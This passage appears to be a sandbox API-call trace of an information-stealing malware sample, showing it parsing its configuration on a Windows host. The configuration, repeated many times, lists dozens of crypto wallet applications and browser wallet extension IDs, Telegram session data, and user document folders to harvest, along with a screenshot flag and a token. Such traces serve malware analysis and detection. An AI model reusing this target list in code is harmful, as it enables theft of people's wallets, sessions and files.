Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4284 [0266.208] LocalAlloc (uFlags=0x40, uBytes=0x21f8) returned 0x6fc408 [0266.208] StrCpyW (in: psz1=0x6f7178, psz2="*" | out: psz1="*") returned="*" [0266.208] LocalFree (hMem=0x6fc408) returned 0x0 [0266.208] StrStrW (lpFirst="*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.208] lstrlenW (lpString="jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4284 [0266.208] LocalAlloc (uFlags=0x40, uBytes=0x21f8) returned 0x6fc408 [0266.208] StrCpyW (in: psz1=0x6f9ac0, psz2="*cache*" | out: psz1="*cache*") returned="*cache*" [0266.209] LocalFree (hMem=0x6fc408) returned 0x0 [0266.209] StrToIntW (lpSrc="26") returned 26 [0266.209] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6bf278 [0266.209] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6bf278, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.209] PathCombineW (in: pszDest=0x6bf278, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming", pszFile="com.liberty.jaxx" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\com.liberty.jaxx") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\com.liberty.jaxx" [0266.209] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6fc408 [0266.209] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6bf8c0 [0266.209] StrCpyW (in: psz1=0x6bf8c0, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\com.liberty.jaxx" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\com.liberty.jaxx") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\com.liberty.jaxx" [0266.209] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\com.liberty.jaxx\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\com.liberty.jaxx\\*"), lpFindFileData=0x24f880 | out: lpFindFileData=0x24f880*(dwFileAttributes=0x6e2162, ftCreationTime.dwLowDateTime=0x751dc35e, ftCreationTime.dwHighDateTime=0x6bf278, ftLastAccessTime.dwLowDateTime=0x23, ftLastAccessTime.dwHighDateTime=0x24f89c, ftLastWriteTime.dwLowDateTime=0xe1, ftLastWriteTime.dwHighDateTime=0x24f8e2, nFileSizeHigh=0x3a0043, nFileSizeLow=0x55005c, dwReserved0=0x650073, dwReserved1=0x730072, cFileName="\\kEecfMwgj\\AppData\\Roaming\\com.liberty.jaxЁ", cAlternateFileName="kk")) returned 0xffffffff [0266.210] LocalFree (hMem=0x6fc408) returned 0x0 [0266.210] LocalFree (hMem=0x6bf278) returned 0x0 [0266.211] LocalFree (hMem=0x6ef5a0) returned 0x0 [0266.211] LocalFree (hMem=0x6f1ee8) returned 0x0 [0266.212] LocalFree (hMem=0x6f4830) returned 0x0 [0266.213] LocalFree (hMem=0x6f7178) returned 0x0 [0266.213] LocalFree (hMem=0x6f9ac0) returned 0x0 [0266.214] StrStrW (lpFirst="wlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="wlts_") returned="wlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram 